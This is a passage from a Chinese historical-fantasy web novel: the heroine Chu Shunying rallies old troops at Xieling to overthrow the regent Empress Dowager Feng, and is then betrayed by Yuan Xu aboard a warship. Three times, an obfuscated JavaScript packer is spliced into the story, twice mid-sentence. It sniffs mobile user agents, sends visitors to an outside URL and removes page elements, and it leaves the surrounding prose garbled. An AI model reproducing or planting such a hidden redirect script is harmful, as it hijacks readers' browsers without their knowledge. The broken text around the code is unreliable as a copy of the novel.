承祉看他们你一言我一语,看得直打哈欠,匆匆告个别就出去了,穆阐忙紧随其后告退。承徽看着他们背影,若有所思:“好像他也没那么讨厌。” 见元旭正含笑注视自己,忙解释说:“徽儿没说六叔的徒弟讨人厌,是祖母老跟我说穆阐跟王兄差不多大,王兄不在了,可以把穆阐当成哥哥……没人能取代王兄。”自说着,眼圈却红了。 舜英心跳一突,蹙起双眉、难以置信瞥向元旭。 元旭淡淡道:“就是你猜的那个意思。” 舜英脸色慢慢沉下去,思索片刻含笑问:“徽儿,母后过几天要去燮陵,想不想跟去一起玩?” 承徽眸中显出喜色:“可以天天见到母后吗?” 舜英笑道:“大部分时候可以。” 元旭温声问:“届时六叔也会带上穆阐,徽儿可还愿意去?” 承徽愣了愣,垂眸陷入沉思,半晌才抬头,张了张嘴正要说话,前殿传来一阵急促的脚步声。 “娘娘,大娘娘宣您和丞相大人去上书房!” “南都、樊州、明光八百里加急!” . 建宁十五年三月初十,荣国、北翊两国联军,正式对南翊宣战,报破坏盟约、背信弃义及弑母弑君之仇。 此次作战兵分两路。 陆路由苻沣御驾亲征,率不知几多步兵和骑兵,大军浩浩荡荡压在淮水北岸,队列连绵几百里。最新塘报是:崔玄仁率领的前锋军已渡过淮水,攻下淮水以南第一关——寿关,驻五万精兵在明光城北将军坡,等待接应中军。 水路由苻洹率领渝安水师,从珪山大渡口出发,跨过阜门峡,沿长流川顺流东下、直奔阊江。 所有虎符都已派使臣送到相应军营,然而,渝安水师一路行径西陵、樊州两大水师驻地,均未受到有效的抵抗,已接近扬澜湖大营,水师仍无调动迹象。 更可怕的是,最新加急塘报是在三天前发出的。 那以后,前线再无消息传来。非但没有军驿传送的塘报,就连冯太后掺入各大军营的暗探、监军也销声匿迹。 出现以上动静,只有一种情况:周士承统领的三川两湖水师、陆斐统率的沿江二十城驻军,同时哗变! 冯姮、褚舜英、班益、元旭、云飞燕五人围着小承祉讨论了三天三夜,依然没讨论出个所以然。 先是班益毛遂自荐,从滬南四州十郡抽调精兵跨江迎敌。被冯姮一口否决,渝安水师不知打到哪儿了,火烧眉毛的时刻,她更希望班益能尽快接手笠泽水师,拱卫京师。至于外派的主将…… 一直沉默不语的舜英忽然发话:“儿臣愿亲率褚氏部曲前往寿关迎击崔玄仁,为战死金州的族弟复仇!” 200. 永远赌她赢 上书房内焦灼烦躁的气氛骤然冷肃,所有人齐刷刷看向主动请缨的褚舜英,目光多了几分难以言说的复杂。 褚氏部曲,全是当初留守龙城的步兵,核心亲兵只有六百多个,总数加起来不到五千人。 端坐堂上的褚后,黑幽幽眼睛像两汪死寂的深潭,薄唇紧抿,数年流落异乡的折磨令她沉疴缠身,形虽销、骨却立。往那一坐,无端就令人联想到沉在鞘中的利剑。 元旭迟疑道:“四嫂病体……” 班益铁青着脸,重重咳嗽一声,将他余下的话挡住。 冯姮沉吟许久,目光扫过在座诸人,元旭正关切地注视着舜英,舜英唇带冷笑垂眸,班益从元旭身上收回怒目,承祉懵懂地笑、试探着牵她衣袖:“祖母祖母,什么时候用膳?” 舜英抬眸看向承祉,眼里闪过痛心、恻隐、关切——母亲的眼神。 冯姮终于开口:“就依阿英所请,褚氏部曲着实太少,沿江二十城的调遣之权……” “陛下,大娘娘,娘娘,前线有使者拜会!”门外传来黄门声音。 冯姮目露狂喜:“宣!” 来者是陆斐、周士承麾下斥候,带着北翊、荣国求和使者。这四人和谐默契得不像对战双方,倒像协同逼宫的同仇袍泽。 建宁王要求:割让沿江二十城,并入荣国疆域。 北翊要求:交出背信弃义、破坏“边垣之盟”的主谋冯姮,谋害姜太后的凶手元旭,拥立靖安王为大翊正统。 . “这不是打脸么?”苻洵趴在战壕里,跟谢朗有一搭没一搭聊着,“这还怎么谈,想打直说,要真把自个儿祖母和亲叔叔交出去,这国君也不用混了。” 谢朗叹了口气:“以前延光王肯定不会,现在这个不好说……他才是真正生于深宫之中,长于妇人之手,没主见、没心肺、没血性。” “那就更不可能,小国君不懂事,不还冯太后做主吗?她能自己去送死?”苻洵满脸糟心,摸了摸衣袍,从内衬摸出一个干饼,掰成两瓣、递给谢朗半个,“我身上还剩这个,咱们省着点吃。” “谢了”,谢朗接过饼,却没吃、忍着饥肠辘辘塞进内衬,“快断粮了,等要饿晕的时候再啃两口……” 想了想又开始叹气:“也不知咱们两家陛下怎么想的,北宛这个大患没解决,先跑去内战。” 苻洵眉头一挑,笑着说:“北宛粮草丰足,去年春天时机已过,一时解决不掉。咱们这样东搜一点西刮一点粮草,撑不了多久,不如赌一把,看能不能让你家陛下把滬南粮仓收了。” 烈日高照,燥热的风吹起沙尘,呛人鼻腔和肺腑,已是五月初,他们已在怀戎郡死扛近半月。 建宁十五年四月初十,荣、北翊联军攻南翊的消息传到北宛,缓了近一年的冯栩再毁边墙、率尚存一万精骑兵沿乾河东南行军,宛平告急。 四月十八,收到求救讯息的苻洵率军北上救援,遭遇有生以来最艰难一役。 兵马未动,粮草先行。可这旷日持久的战火,已耗尽两国仓廪。搜尽三郡两州仓廪余粮,节约些、少活动些,最多够大军吃半个月。 谢朗捂住咕咕叫的肚子,觉得太过安静、困乏得想睡,赶紧掐自己一把、寻话题聊:“我这儿消息还是三月底的,也不知淮水那边现在怎样了。” 苻洵笑了笑:“这次联合那么多兵,听你这么说……估计南翊又一盘散沙,打过江去将靖安王扶上位,板上钉钉的事。” 谢朗摇摇头:“谁赢谁输还不好说,永熙王和冯太后确实不擅作战,可我听说褚太后回去了。” 苻洵诚恳追问:“褚太后回去,怎么就不好说了?” 谢朗环顾四周,压低声音道,“周士承是靠庄王和褚太后发迹的,陆斐还跟褚太后一起上过战场。还有……褚太后当年招降叛军,在滬南声望很高,铁定指挥得动,加之咱们粮草拼不过……” 他忽然意识到什么,看着苻洵道:“当初她刺杀你也是为国,陈年往事……” 苻洵眼神一暗,旋即恢复平静,真诚地说:“我不恨她。” “其实她可能也没那么恨你”,谢朗一愣,蓦然释怀地笑了,“世事就是这样荒唐,那些杀伐决绝、光明磊落的硬骨头,总是更容易得到原谅和尊重。” “咱们只是立场不同,终归都还算人”,苻洵收起思绪,将千里镜举起、眯起眼睛瞄向远方,烟尘四起、尖叫哭嚎刺人耳膜,一群北宛骑士正驱马绕着三五个女子转圈,每转一圈就撕下一片衣袍。 他恨恨冷声道:“不像他们,骨头再硬的畜生,终归是畜生。” 谢朗举起千里镜一看,口里蹦出一句国骂,转向苻洵:“对方只有几百人,吃得下,去不去?” 苻洵沉吟半晌,叹了口气:“这是冯栩的惯用把式,放几百人行恶事、咱们一救就暴露了,他后面肯定有大军。” 女子的哀嚎和尖叫逐渐低哑,谢朗默了半晌,狠狠一拳砸在旁边石头上,目眦欲裂:“要不是粮草不够……早带兵出去平了柘枝城,蜷在这儿真是窝囊。” 苻洵唇含讥诮地笑了:“是挺窝囊,没能战死沙场、却要饿死在半道。” 谢朗拍拍他肩膀:“想开点,说不定会绝处逢生,我们陛下此次南下,定不会无功而返。” 苻洵点点头,蓦地心念一动,回首看向南方,扯动唇角,笑容有些悲凉。挂在脖子上的蝴蝶祥云锁,硌着心口皮肤,触感清晰。 他用仅自己能听到的声音说:“我撑得住。” “我永远赌你赢。” . 宛平以南五千里的阊江,个把月前。 三月二十八,舜英获冯太后首肯,即将领兵跨长流川出征。 然而此时,好巧不巧传来线报,扬澜湖水师和明光城驻军都开始有调兵动向,虽未主动出击、却也应敌防守,使渝安水师在浔阴一带裹足不前,崔玄仁精兵未能攻下明光。 得此间隙,冯姮即刻邀请驻守河州洪昌的褚秋水与褚舜瑶来阊江“小住”,让舜英与家人“团聚”之后再赴前线。 于是元旭提议,越是战时越需安定民心,不若快去快回,先去燮陵春祭。 细雨蒙蒙如丝如织,引驾仪仗、侍卫、宫人、太常寺、太仆寺诸官前呼后拥着驷马宝盖轺车,从官道缓缓驶入燮陵城。褚太后着全素礼袍、戴秘银面具,端坐于轺车正中。 他们身后有一架略小的轺车,坐着同来祭祀的郑锦珠、元承徽和穆阐。 刺史府虽早已清场,轺车行过燮陵城各大主街时,依然有人从院墙后的高楼伸出头,挨挨挤挤看向车上女子,不时爆发出一阵欢呼:“褚天女!” “就算你成了王后,他们也习惯叫你天女”,元旭抬头看向热闹欢笑的民众,唇角微微翘起,“他们永远记得,十三年前有一位姓褚的女子和平招降虎威旧部,又带领虎威旧部治理四州十郡瘟疫、救了燮陵城,最后手持定光剑为民请命。” 舜英唇角扬起苦笑,轻声道:“招安虎威旧部,我从不觉得那是什么佳话。” 又有几个眼尖的,瞥见与舜英同车的元旭,又继续欢呼:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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元旭笑着点点头:“记住了,每年都要最好的女儿红。” 他又问:“就是因为他们,你才一定要回来?” “有他们,还有其他很多人”,舜英眼神逐渐迷蒙,“活着的时候不算亲近,会争吵会打架会看互相不顺眼,可他们死了。他们一死,好像突然就活在了我身上。” 元旭伸出手,轻轻擦拭墓碑边缘,出乎意料的干净。他微微诧异,放眼望去才发现,三百多座坟茔全都干干净净,没有青苔、没有荒草,黄土一年一层、将坟墓累得又厚又高,显然是每年都有人来打扫。 他眸光慢慢飘远,感慨万千:“百姓即家国,还是当年阿姊教我的。” 舜英苍白的脸上浮起笑容:“我们再去重游一遍故地,如何?” 南翊迁都后,龙兴楼改回旧称“天风楼”,却依然无人修缮,朽颓得更厉害。 顺着陈旧朽烂的楼梯拾级而上,一步步走到高楼边缘。疾风鼓荡着二人素衣素袍。 舜英抬手指向北方:“阿旭,看到了吗?” 元旭顺着她指引看去:淮水以南,荣国与北翊兵临城下,阊江朝廷却犹自内斗不休,重文抑武致使六军不发;遥远的宛平,三郡二州与龙骧军正拼死守护边墙,他们的仓廪已颗粒不剩,北宛狼骑气势汹汹。 他目光越来越远,悠悠叹息:“泽国江山入战图,生民何计乐樵苏。凭君莫话封侯事,一将功成万骨枯。” 舜英又看向脚下车水马龙的街市:“阿旭,曾经的滬国也以为长流川天险,无可跨越。” 两千里滬南,四州十郡仍然烟柳繁华、歌舞升平,却不知这脆弱的醉生梦死又能持续多少年。 元旭也看向街面人来人往的熙攘,眼神逐渐坚定:“他们不能再经受战火。” “不止滬南,还有翊东三十五城、北疆”,舜英收回目光,声音慢慢变得沉稳有力,“翊国不能再南北分裂,阊江朝廷不能任由冯太后和傀儡幼主继续折腾下去。阿旭,我们需要一位新的国君。” 201. 振臂一呼 元旭身躯一僵,瞳孔蓦然巨震,惊怖地盯向她:“你想支持承赟?” 他心念电转,颤声又问:“陆斐和周士承怠战,有你暗中串联?” 舜英淡淡摇头:“我没那本事,是他们自己选择了怠战观望。” 她目色霍然凛冽,笑容冰冷锋利:“你以为军队是什么?是走狗、是爪牙、是奴隶、是指东绝不往西的提线人偶么?” “他们一个个,都是活生生的人!” “他们虽然没那么懂权术计谋,却也不是傻子!你当他们真不知晓什么是派系斗争,什么是党同伐异么?他们可以接受昇阳之战、玉照关大败全军覆没,却不可能接受自己死守金州,只因区区内斗就被朝廷放弃,援军不至、粮草不济,几万将士活活困死愁城!” 元旭脸上显出惊恐。 舜英眼神犀利扫过他脸上,冷笑着继续说:“他们不关心坐王座上是谁的儿子、谁的嫡母,只关心跟着这人能不能饱饭、能不能打胜仗?只关心国君会将他们推入绝境,还是带上正道!如今冯太后走的是正道还是绝境,你看不出来么?” “承祉是你亲生儿子,天下有哪个退位国君能得善终”,元旭失声惊呼,满眼难以置信,“就算他被教得不认你,你就真对他无半分顾念么?若拥立承赟……” “不,不是承赟”,她扬唇一笑,分明风轻云淡,眼神却凝重而坚定,缓缓昂首傲然道,“阿旭,我选你!” 元旭心下巨震,瞳孔急遽收缩,千言万语都哽在咽喉,惊恐地倒退几步,一个趔趄险些栽倒。 舜英漫不经心,袖手看他慌乱无措,许久,淡淡笑着重复一遍:“阿旭,我选择拥立你为王。” 她此言一出,天空忽闪过两道电光,撕拉开沉沉黑云,雷声如万马奔驰、轰隆而来,狂风乍起。而她站在狂风中巍然不动,蕴着一股顶天立地的气势。 元旭失声惊呼:“为什么?” 舜英脸上带着深思熟虑后的平静:“只有你坐上那个位置,你、承祉、承赟才能全部活下来。” 元旭呆滞站立许久,一瞬不瞬凝视着天风楼边缘的舜英。同样的位置、同样天高风疾,许多年前另一幅画面慢慢浮现,与眼前场景逐渐重合、严丝合缝。 以及——顾星阑那句失声惊叹。 半晌,他眼中慌乱散去,逐渐变得沉稳、笃定、坚决,眉宇间竟隐隐透出风雷之势。 他挺直脊柱,一字一字说:“阿姊,我随你回阊江。” 天风楼的楼梯口,脚步沉稳缓慢,一身布袍渐行渐近,扬声道:“萝州刺史顾星阑,誓死效忠陛下与殿下,拨乱反正!” 他的身后,燮陵驻军五营校尉、裨将二人鱼贯而上,在顾星阑身后站成一列,屈膝抱拳高呼:“燮陵大营一万精兵,愿追随刺史大人,匡扶明君!” 元旭有些忧虑:“一万人,去阊江并无胜算。” 舜英扬唇冷笑:“谁说我们只有一万人?” 她转过身,指向龙兴楼川流不息的街道:“那里,不都是人吗?” 元旭疾步走到高楼边缘,倏然一震。 人,一个又一个人,许多人,从无数客栈、官邸、民居、街道巷陌走出,聚向九条主街,像无数细小水流汇入大江,滚滚浪潮涌向同一个地方——天风楼。 人越聚越多,却多而不乱,自动分开几条路。虎威旧部自发推举出的十几名校尉,以及他们的主将——司徒空。十几名校尉在司徒空的带领下,郑重地一步步踏上天风楼,跪倒在元旭与褚舜英面前,齐声高呼。 “虎威旧部尚存人世三万七千人,随时听从褚天女与平南侯调遣!” 元旭上前一步,注视着楼下黑压压人群,沉吟良久,振臂高呼。 “冯氏逆党,破坏祖宗‘边垣之盟’在先,又借千秋宴会之际,假托崔氏余孽之名,谋弑延光陛下,党同伐异、窃权乱政。朗朗乾坤,断不容此奸佞当道!” “请诸位义士与我入京清君侧,荡平奸邪,涤清朝野!” 顾星阑和开阳立即高声附和:“荡平奸邪,涤清朝野!” 附和之声起先杂乱无章,而后逐渐整齐雄浑,穿云裂石、直上九霄,燮陵城上空回荡着排山倒海的呼喊—— “荡平奸邪,涤清朝野!” 并肩走下天风楼时,元旭和舜英的表情眼神,已平静如水。 跨出铜绿斑驳的大门口的瞬间,元旭忽然扬唇一笑:“这里可以改回‘龙兴楼’,日后好生修缮加固。” 顾星阑、司徒空拥护着舜英和元旭,三万余人紧随其后,浩浩荡荡走向燮陵大营。沿途不断有飞廉下属回来复命,复的是截杀驿马信报的密令。 一行人抵达军营时,谢恬已带着新选下属恭候多时,身后两百余人,全都手提长刀、刀身上汩汩热血,他们的衣襟、下摆和袖子也全都是血。见他们归来,忙迎上前躬声道。 “有卫尉寺侍卫七十六人,欲对滬国夫人、长公主及东宫侍读穆公子不轨,已被属下就地正法,首恶冯睦业已束手就擒。” 舜英眼里浮起一丝笑意,点点头,目光看向他们身后。 郑锦珠、承徽和穆阐被一群武士护在中心,承徽的衣袍和脸干干净净,头发都未乱一丝,只是眼圈红红,显然被吓得痛哭过。郑锦珠正俯身替她擦脸,穆阐手里端着一杯水,不时递给承徽喝两口润润喉。 看到几人回来,郑锦珠忙迎上来,上下打量着元旭和舜英,确认安然无虞后,才长长舒了一口气。 一见母亲,元旭刚刚撑起的煞气顿时消散无踪,眼神躲闪嗫嚅道:“母妃……我……” “你做得好!”郑锦珠眼眸泪花浮动,唇角上扬,紧紧攥住他双手,“阿旭,我说,你做得好!你用行动证明了,自己不是软弱无能的亡国后人。” 舜英笑意轻快,颔首轻声告了个暂退,径直走向军营中一间茶室,穆阐也向元旭告退、紧紧跟了上去。 茶室四面门窗关上,巡逻士兵都远离十丈开外。舜英一进茶室,立即挺直脊背、眼神明亮有神,再不似先前一步三喘的病态。 她坐下给自己倒了杯水,穆阐抬起双手手,拧了拧发簪,中空的、里面还嵌套了一层。他抽出内簪,双手奉给舜英,弯身一揖:“阐儿给母亲请安。” 舜英拧开内簪的雕花状堵头,一边倒出细小如米粒的药丸,一边满眼心疼看向他:“冯太后对宫禁把持太严,就连阿旭都没法夹带些什么进来,难为你提着脑袋来回奔波。” 穆阐看她将药丸吞下、双唇渐渐透出血色,他清澈双眸也显出喜色:“好在冯太后并不曾疑心过小陛下身边人,阐儿瞧着母亲气色越发好了,父亲和师父总算没白筹谋一场。” 去年十月,苻洵一回北卢就马不停蹄到处查问,果然探寻到她喝的慢性毒药来源。 毒药找到了,解药很快也配出来了,剩下就是操心怎么带进来。 正值此时,承祉读书实在不上心,脑子也转得慢。曲央和付明跟承祎交情太好,冯太后不愿再用,深思熟虑后,将穆阐召作东宫伴读、随侍承祉左右。 穆阐——曾经的苻阐,本就比一般孩子稳重,看起来又纯粹清澈,一脸忍气吞声老实相,跟幼时的元旭一样,疑心谁都疑心不到这样孩子的头上。 想到这儿,她不禁揶揄:“还叫父亲呢,依我看你倒跟阿旭一个性子,你们俩才像是父子。” 穆阐又薄又白的脸皮透出红晕,干笑道:“叫习惯了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037433|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >瓷瓶里还剩小半瓶药丸,她服汤药太久,余毒还得慢慢清——这也不算什么大事,今后,她再不必饮鸩止渴。 她站起来,将瓷瓶珍惜地收入袖袋,慢而仔细地绑好护臂走出门去。 承徽正远远站着,不住往这边打量,脸上挂满担忧。舜英胸臆猛然涌起一股豪气,牵起承徽扬声笑道:“徽儿,跟母后一起,去见识真正的风浪和力量。” 元旭已等在点将台,舜英拉着承徽一路走上高台,平静而淡漠扫视过在场每张人脸,旋即深吸一口气,高声号令。 “萝州刺史顾星阑、虎威军指挥使司徒空听令,开武库!打回阊江!” 永熙元年四月初七,褚舜英借寒食祭之机,集结三万七千虎威旧部于燮陵,合燮陵大营一万精兵,打着“清除冯氏奸邪,涤清朝野”的旗号,从燮陵出发沿东线向阊江行军。 起义军一路所向披靡,直至五天后抵达笠泽东侧、皋州第二大城——平江。 “平江与宛陵隔了笠泽,这点距离不到半天水师就能过来”,元旭注视着寥廓的五百里笠泽,“阿姊,咱们这帮散兵游勇,打下平江,半天够吗?” 舜英望向浩淼烟波,笑着反问:“我想去阊江,为何要攻打平江?” 元旭有些惊诧:“你可别说早跟周士承合谋好了。” 舜英摇摇头:“没有,我让他们去淮水和长济渠支援了。” 元旭惊得险些从马背跌落:“我一路都盯着你,侍卫宫人将你围得水泄不通,你何时给周士承传的信?” 舜英抬起千里镜,专注看着湖面,漫不经心道:“你又不是不用睡觉,你宅子那些女使早被我的人换了。” “苏衣和苏裳?我一猜准是她们”,元旭恍然大悟,懊恼地叹了口气,又有些担忧,“他们那么好调动?你人不到他们也认?就不怕信笺造假?” 舜英笑了笑:“他们都知道苏衣和苏裳是我的人,光信笺肯定不够,还有两样东西……两样谁都想不到的东西。” 元旭讶然:“比虎符还有用?” “虎符只是个信物,要紧的是信物后面的人”,舜英不再绕弯子,娓娓叙说,“我还让她们带去我的王后玺绶和钤印……来了。” 元旭顺着她目光看去,只见白茫茫的水面显出几个黑点,黑点越来越多、越来越大,逐渐显出真身——楼船,他忙抬起千里镜极目远望。 透过千里镜圆圆的视野,船行渐近,十几艘楼船拱卫着正中主舰,旌旗招展。主舰船头三个熟悉身影迎风站立、渊渟岳峙——苏裳、褚秋水、褚舜瑶。她们身后,数千名军士严阵以待,衣襟上沾满血迹,正是褚氏部曲。 “所以褚氏部曲前些天走那么慢,冯太后召司南侯母女上京,不过是给他们半道设伏救人创造时机”,元旭沉默片刻,叹了口气,真诚地提议,“阿姊,这傀儡国君,我不当了成不?” 觑着她脸色,元旭又递给她一个满满的水袋,小心翼翼地说:“我先前得罪你那么多,就怕你哪天不开心,真把我脑袋拧下来。” “晚了,咱们没得选”,舜英接过水袋一饮而尽,露出一抹玩味的笑,凉飕飕地说,“阿旭,兵谏不是请客吃饭,几十万大军也不是我说了算。玺绶和钤印能调动水师,不是因为我本人有多厉害,是他们一直在等那个合适的人去调动他们。” 她蓦然转头,深深盯向元旭,目光陡然锐利:“三军苦内斗和冯氏久矣,若这次阊江朝廷不能拥立一位服众的国君,周士承和陆斐即刻会将承赟接进阊江,承赟肯定比我更想要你的脑袋。” 元旭害怕地咽了口唾沫,说话都不利索:“那……那好吧……我听你的。” 想了想又问:“为什么非得是我,不能是你?” 202. 船头变幻大王旗 舜英眼神带着探究,一寸寸扫过他每一处轻微表情,徐徐道: “因为大翊国祚姓元,按照律法,摄政太后须有先王遗诏授权,否则最多在形势危急时垂帘听政、不可能临朝称制。无法临朝称制,便不能令出一门、政出一地,这在太平时节无伤大雅,可若时局混乱,后果嘛……” 她没有继续说下去,因为后果已真真切切摆在所有人眼前。 元旭无言以对,默默垂首,若有所思攥紧宽大的衣袖。 许久,幽幽长叹:“若承祎还活着就好了。” 舜英唇边掠过一缕苦笑,移开目光盯向越来越近的楼船:“上船吧,我答应过周士承和陆斐,还他们一个爱兵如子的国君。” . 一行人踏上主舰甲板,走进一间窗明几净的舱室。 木地板纤尘不染,空廓整洁而雅致,屋中支着一尊红泥小炉,炉底燃着火苗像黄里透红的薄纱。舔舐着陶罐底部,清澈滚水不断翻沸着气泡,咕噜咕噜温着白瓷薄胎的酒瓶。 炉火前有一人席地而坐,清俊眉眼写满闲适淡泊。 元旭倏然睁大双眼,失声惊呼:“九叔?” 那人正是致仕之后,消失大半年的元璟。 “阿旭,好久不见,喝点青梅酒”,元璟笑吟吟拿出两个酒杯,斟满之后将其中一杯递到对面,“六年前你忧国忧民,问我阊江朝廷何去何从,如今局势已明朗,前路即将分明。” 元旭在红泥炉对面坐下,收起想骂人的憋屈,端起酒一饮而尽:“每次政变都有你,冯太后怎不专门派人看住你?” “你是不是忘了,阿英的轻身功夫还是我教的,她手下那些废物,也想看住我?”元璟挑了挑眉,闲闲道,“何况我又没做什么奔走勾连之事,无非是去飞花楼喝喝酒,去农户家中手谈几局,去深山打打猎,再去凰羽寺与大祭司清谈。” 元旭无奈地笑了,再次真诚地问:“九叔,这傀儡国君我不做成不成?” “你不做谁做?”元璟定定注视着他,过了半晌,转头看向远处,“褚氏部曲出逃定已惊动阊江,恶仗要来了!” 门外传来清脆的说话声,舜英目光炯炯站在甲板上,承徽和穆阐寸步不离跟在她身后。她正跟几十名校尉讲述宛陵骑兵的不足,以及阊江城防的薄弱环节。 “吩咐下去,磨好刀枪、吃饱午饭,骑兵能避就避,上岸就以最快速度直奔阊江,正统陛下在咱们手里,别怕被包饺子!”她气定神闲地说。 元旭盯着她背影出神,看了不知多久,唇角上扬、双眸微微发亮:“出了宫闱,这世上再无任何东西能困住她。” 元璟叹了口气:“所以啊——你四哥当年真想不开,明明可作忠臣良将,非要绑在身边相看两厌……” 话音未落,他忽然脸色一变,抄起旁边水盆,“哐当”泼熄炭火,旋即推开元旭就地一滚,一排重箭穿透舷窗飙射而入,夺夺夺钉在木质案架和地板上。元旭目瞪口呆转头看去,木窗已被洞穿几十个漏风的破洞,瞬时朽烂得不成样。 “九叔,这……”他惊魂未定出声,气还没喘匀,又听破空尖啸,更多羽箭从窗户破洞蜂拥而至,房间霎时下了一阵箭雨。元璟双手抡起茶几对角两条腿,用桌面挡在二人身前。 屋外甲板上脚步声纷沓,忙而不乱,很快便听到近在咫尺的曲轴转动声、绞索摩擦声,流矢钉在盾牌上的浊响。 门轰然打开,舜英一手抱着承徽、一手牵着苻阐矮身冲进来:“你们两个,不进底舱在这等着挨箭?” “哦,对,底舱。”元璟如梦初醒,一把将茶几推塞进元旭手里,转身去地板拉暗门。元旭细胳膊细腿,举着用来挡箭的茶几瑟瑟发抖。 “六叔,我来助你!”承徽跃跃欲试冲过去,双手抬起其中一条桌腿,居然稳住片刻,她又大喊,“阐哥哥,另一边。” 穆阐脸一红,赶紧从善如流上前托住另一条桌腿。俩孩子自小习武,一起托住那方茶几,竟比元旭一个大男人还得力。 元旭:“……” “愣着干嘛,来帮忙。”元璟一把拖走元旭,叔侄俩合力、咬紧牙关转动榻上一张凭几,随着吱呀呀的干涩哑响,木地板缓缓滑开一人通过的方形入口。 元璟站起来:“你们三个,都进底舱。” 穆阐当机立断接过承徽那只桌腿:“快走,我断后。” 承徽看了一眼穆阐,眼神骤然坚毅,抽出他腰间佩刀冲向入口:“我开路,六叔走我后边!” “……”元旭脸皮一红,默默跟在承徽身后,半截身子已没入地板下,忽然转头问,“岸上是谁?” 舜英抬起千里镜看了片刻,似笑非笑回答:“你岳父!” 顿了顿,又补充一句:“还有你嫡母。” 元璟:“……你这嘴!” 笠泽大营外各路口平地,早被宛陵骑兵里三层外三层围得水泄不通。 码头上、空地上、岸线,密密麻麻全是人,方阵整齐划一、披坚执锐,班益端坐马背之上,手执长戟。遥遥注视着靠向笠泽西北岸的十几艘楼船,那些船被方才几轮疾风骤雨般的攻势下,速度稍缓,似有调头之势。 但也无妨,笠泽湖岸线周围十来坐城池,早已安排上无数岗哨,由骑兵飞马传报,无论这十几艘船往哪个方向靠,结局只有一个——上天无路入地无门。 燮陵起事声势过于浩大,虽有飞廉截杀在明处的驿马军报,却未能防住藏在暗处的四季阁密探。三天前,准确的起事人数、兵器数量、主将情况便已送到冯太后的案头。 两个时辰后,班益暗中发出五路传令兵,待褚氏部曲成功截走司南侯母女、踏上楼船后,立即开始沿笠泽迅速布局。 “船上的人听着,大娘娘有令,只诛首恶,不伤无辜。” “尔等受逆党所祸,弃械就擒,可从轻处罚!” 传令官的声音一声高过一声,士兵方阵、湖岸线也开始不断挥舞旌旗,高声鼓噪:“降!降!降!” 虎威军仍然鸦雀无声、严阵以待,旁边几艘搭载燮陵精兵的船却已开始坐不住,带着迟疑的争辩声不绝于耳。 舜英站在船头,望向越来越近的笠泽大营,唇角勾起一抹冷笑。褚秋水走过来,安慰地拍拍她肩膀:“没事,大不了来个痛快。” 舜英笑了笑:“好,咱们一家人,痛痛快快干一场。” 船头已架设起各色弓弩,重箭轻箭齐齐扣在弦上,蓄势待发。舜英亲自走到最大一架床弩前,目不转睛盯着班益坐骑,微微调动方向,瞄准—— “阿姊且慢。” 元旭突然出现在背后,舜英惊讶地发现,他的神情气度再次变了,那股熟悉的干净、灵秀和纯粹无影无踪,双眸像两泓不见底的寒潭。 他就那般清凌凌站在她身后,认真询问:“当真再无转圜?” 舜英转头继续调整床弩朝向,闲闲地说:“不如你去跟你岳父谈谈,早些弃暗投明?” 元旭没说话,只是又向着她走近几步,他身上香气也越来越浓,不是以往的草木水泽淡香,而是带着甘苦的木香…… 似一道闪电划破脑海,舜英心下一惊,下意识拔刀往后挥去,却发现胳膊和双腿已变得沉重酥软,竟连刀都拔不出鞘。她咬咬牙暗中蓄力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15043899|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一痕霜冷已然贴紧她颈部皮肤。 “别动,我不会武艺,把控不好力道”,元旭嗓音带笑,轻轻地说,“一个失手,保不准割破点什么。” 舜英四肢乏力,索性转身席地而坐,抬眸注视着他,嘲讽冷笑:“你可真是棵万年不变墙头草。” 元旭持刀的手有些抖,却未放松丝毫,随着她坐下、也沉下手腕,她的皮肤冷白近乎透明,皮下浅青色血脉清晰可见、微微跳动,只要稍微再进半分,就会血如泉涌、顷刻毙命。 “我给过你机会的”,他眼眶微微泛红,继续威胁,“你不怕死,可徽儿和阐儿还在船上……” “徽儿是堂堂正正的长公主,你没法下手”,舜英仰头微微笑起来,“至于阐儿——若他有个闪失,阿洵会将你千刀万剐。” “我已经坑了你,阐儿好不好,苻洵都不会放过我”,元旭毫不在意地笑了,“放心,九叔与顾星阑皆是被你胁迫,四万虎威旧部受你所惑、法不责众。” “我还得谢谢你”,舜英笑容可掬缓缓说,又问,“什么时候的事?” 元旭淡淡道:“你上午喝的水是一部分,方才的香是……” “元旭!”忽然传来一阵厉叱,郑锦珠不知何时已走了过来,挥臂就是一耳光,“你在做什么?把刀放下!” “送母妃回房歇息”,元旭咬牙切齿狠狠说,眼眶越来越红,声音已然带着哭腔,“娘,我也没办法,阿珂也在对面军营里,她还怀着我的孩子!” . 三天前,四月初九下午。 “真是疯了,联合小叔子造自己亲儿子的反!”冯太后愤怒冷哼,将四季阁送来的密信摔到班益面前。 班益捡起密信一看,顿时汗如雨下,抖抖索索道:“臣……臣实在不知啊,有失察之过,请大娘娘重罚。” 冯太后一瞬不瞬盯着他,没有说话。 班益忙提议:“臣愿亲自领兵剿灭叛逆,请大娘娘派忠义之士前来督军!” 见冯太后仍一言不发,班益又道:“臣家中五子两女,仰慕陛下英姿,愿即刻送入宫中,随侍陛下左右。” 冯姮沉吟良久,缓缓扯出个微笑:“爱卿言重,赐坐。” 